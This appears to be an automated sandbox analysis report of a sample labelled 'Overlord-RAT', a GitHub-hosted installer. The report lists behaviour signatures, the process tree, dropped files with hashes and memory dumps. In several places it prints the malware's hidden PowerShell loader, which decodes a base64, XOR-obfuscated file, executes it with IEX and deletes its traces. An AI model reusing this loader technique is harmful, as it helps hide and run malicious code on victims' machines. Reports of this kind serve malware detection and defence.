Analysis

  • user interaction
    yes
  • max time kernel
    44s
  • max time network
    49s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    06/07/2026, 16:19

General

  • Target
    https://github.com/ambience-hue/Overlord-RAT/releases/tag/rat
  • Sample260706-tskzaadt2q

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 4 IoCs
  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 44 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/ambience-hue/Overlord-RAT/releases/tag/rat
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3940
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe4668c728,0x7ffe4668c734,0x7ffe4668c740
      2⤵
        PID:1564
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1736,i,17944936198317490930,13073349897881355308,262144 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1996 /prefetch:2
        2⤵
          PID:1172
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2180,i,13325993120427730103,4477963025052216589,524288 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2304 /prefetch:3
          2⤵
          • Downloads MZ/PE file
          • System Time Discovery
          PID:1604
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2376,i,5071528141515216257,838985165306626815,524288 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2492 /prefetch:8
          2⤵
            PID:4480
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3172,i,7735568354241675357,10844395797709934842,2097152 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3224 /prefetch:1
            2⤵
              PID:4440
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3176,i,418384720389558845,15303856908241413046,2097152 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3244 /prefetch:1
              2⤵
                PID:3876
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5456,i,4141983275399784385,17762921305534499798,524288 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5460 /prefetch:8
                2⤵
                  PID:5060
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5688,i,16661445742584075911,10394309937845420723,524288 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5756 /prefetch:8
                  2⤵
                    PID:728
                  • C:\Users\Admin\Downloads\overlord-setup.exe
                    "C:\Users\Admin\Downloads\overlord-setup.exe"
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:2136
                    • C:\Windows\SYSTEM32\cmd.exe
                      cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_t2136\r.bat"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:116
                      • C:\Windows\system32\timeout.exe
                        timeout /t 3 /nobreak
                        4⤵
                        • Delays execution with timeout.exe
                        PID:4988
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -WindowSt Hidden -NoP -ExecutionPolicy Bypass -Command "$gtin=-join([IO.File]::ReadAllLines($env:TEMP+'\pcrcmbd.log'));Remove-Item($env:TEMP+'\pcrcmbd.log') -Force -EA 0;$wfe=[Convert]::FromBase64String($gtin);for($af=0;$af -lt $wfe.Length;$af++){$wfe[$af]=$wfe[$af]-bxor 223};$xhbtj=[Text.Encoding]::UTF8.GetString($wfe);IEX $xhbtj"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:408
                        • C:\Users\Admin\AppData\Local\Temp\ecfghiisik.exe
                          "C:\Users\Admin\AppData\Local\Temp\ecfghiisik.exe"
                          5⤵
                          • Executes dropped EXE
                          PID:1956
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4568,i,89594675361585018,9699243787489368052,524288 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5776 /prefetch:8
                    2⤵
                      PID:2436
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6000,i,11353869931325252051,5935077066067496769,524288 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5708 /prefetch:8
                      2⤵
                        PID:1236
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6004,i,774625091109205649,16724867847223733073,524288 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5688 /prefetch:8
                        2⤵
                          PID:5064
                      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                        1⤵
                          PID:5048
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                          1⤵
                            PID:832
                          • C:\Windows\System32\rundll32.exe
                            C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                            1⤵
                              PID:3000
                            • C:\Users\Admin\Downloads\overlord-setup.exe
                              "C:\Users\Admin\Downloads\overlord-setup.exe"
                              1⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:2260
                              • C:\Windows\SYSTEM32\cmd.exe
                                cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_t2260\r.bat"
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1472
                                • C:\Windows\system32\timeout.exe
                                  timeout /t 3 /nobreak
                                  3⤵
                                  • Delays execution with timeout.exe
                                  PID:4500
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -WindowSt Hidden -NoP -ExecutionPolicy Bypass -Command "$gtin=-join([IO.File]::ReadAllLines($env:TEMP+'\pcrcmbd.log'));Remove-Item($env:TEMP+'\pcrcmbd.log') -Force -EA 0;$wfe=[Convert]::FromBase64String($gtin);for($af=0;$af -lt $wfe.Length;$af++){$wfe[$af]=$wfe[$af]-bxor 223};$xhbtj=[Text.Encoding]::UTF8.GetString($wfe);IEX $xhbtj"
                                  3⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1612
                            • C:\Users\Admin\Downloads\overlord-setup.exe
                              "C:\Users\Admin\Downloads\overlord-setup.exe"
                              1⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:3732
                              • C:\Windows\SYSTEM32\cmd.exe
                                cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_t3732\r.bat"
                                2⤵
                                  PID:632
                                  • C:\Windows\system32\timeout.exe
                                    timeout /t 3 /nobreak
                                    3⤵
                                    • Delays execution with timeout.exe
                                    PID:5848
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -WindowSt Hidden -NoP -ExecutionPolicy Bypass -Command "$gtin=-join([IO.File]::ReadAllLines($env:TEMP+'\pcrcmbd.log'));Remove-Item($env:TEMP+'\pcrcmbd.log') -Force -EA 0;$wfe=[Convert]::FromBase64String($gtin);for($af=0;$af -lt $wfe.Length;$af++){$wfe[$af]=$wfe[$af]-bxor 223};$xhbtj=[Text.Encoding]::UTF8.GetString($wfe);IEX $xhbtj"
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    PID:5920

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    BookmarkMergedSurfaceOrdering

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                                    • Size 6B
                                    • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                    • MD5 SHA1 SHA512

                                    BrowsingTopicsState

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                    • Size 414B
                                    • SHA256 7de31a3cbd874dc4ac178c8b2eec92043e16450718ae5cb0729e035896405c0f
                                    • MD5 SHA1 SHA512 TLSH

                                    temp-index

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\temp-index
                                    • Size 2KB
                                    • SHA256 b39a3080b1e4909c3066a760aa90e97a5a3155c4619690a59ce5d4c61a99b371
                                    • MD5 SHA1 SHA512 TLSH

                                    ddf64e16-3805-493a-bbb9-381c16944259.tmp

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\ddf64e16-3805-493a-bbb9-381c16944259.tmp
                                    • Size 2B
                                    • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                    • MD5 SHA1 SHA512

                                    Preferences

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                    • Size 12KB
                                    • SHA256 41d52f2340ccc6fdd1d7f0a5bfb6b853ef84e43fbe76a8a258fb440df91b5e8b
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    Secure Preferences

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                    • Size 11KB
                                    • SHA256 df3f3d7e8eb52eb11376e73179228426d3d2d5efef9c19d4d305887505e18b02
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    cd67216d-949a-484b-bea6-435e2d752e03.tmp

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\cd67216d-949a-484b-bea6-435e2d752e03.tmp
                                    • Size 12KB
                                    • SHA256 b17b9b24f443e04b5203822d6d45c6fcf9f034211da0f8a6858afce859180694
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    Local State

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                    • Size 116KB
                                    • SHA256 d73d0484238a05511843dfa5b583a55a6069b11f5d1ded66dae01d6d2428ed46
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    Local State

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                    • Size 115KB
                                    • SHA256 daa942b0a9b57cf0e4b8c10e3708da8627bb69498f1528130fdc1beb1efe7686
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    Local State

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                    • Size 116KB
                                    • SHA256 2c851e8bbd58a010993d1eb19888bae95012f8a0acd52671613390198864ebec
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    __PSScriptPolicyTest_mruqppe1.toy.ps1

                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mruqppe1.toy.ps1
                                    • Size 60B
                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                    • MD5 SHA1 SHA512 TLSH

                                    r.bat

                                    • Path C:\Users\Admin\AppData\Local\Temp\_t2136\r.bat
                                    • Size 6.1MB
                                    • SHA256 5045a913aacd52d43fd0ed1a0713b7d8ad68a83adc03c1599eacb1146f1b0348
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    ecfghiisik.exe

                                    • Path C:\Users\Admin\AppData\Local\Temp\ecfghiisik.exe
                                    • Size 8.5MB
                                    • SHA256 25eb40e07aa06c10dfbd72e7812d68eb0b1644809ad2d6182937c7811a2a5d05
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    pcrcmbd.log

                                    • Path C:\Users\Admin\AppData\Local\Temp\pcrcmbd.log
                                    • Size 6.1MB
                                    • SHA256 166005c2e8deae566cb2fc0ef449bf50e96e7fb402aa5be2d536f5f7791fcbcb
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    pcrcmbd.log

                                    • Path C:\Users\Admin\AppData\Local\Temp\pcrcmbd.log
                                    • Size 5.6MB
                                    • SHA256 19eb9ea94d5b0876a1702edaed4bd3b8efbe8c9f725b91156a3f4ac807dc4a68
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    Unconfirmed 791512.crdownload

                                    • Path C:\Users\Admin\Downloads\Unconfirmed 791512.crdownload
                                    • Size 4.1MB
                                    • SHA256 416ddba66463daaf40101de6c9f6ee030f7895d544348c33ea315f48d69b9f82
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    memory/408-1764-0x00000192BB660000-0x00000192BB670000-memory.dmp

                                    memory/408-1765-0x00000192BBAF0000-0x00000192BBB12000-memory.dmp

                                    memory/2136-1774-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp

                                    memory/2136-210-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp

                                    memory/2136-4889-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp

                                    memory/2260-3325-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp

                                    memory/2260-1777-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp

                                    memory/3732-3327-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp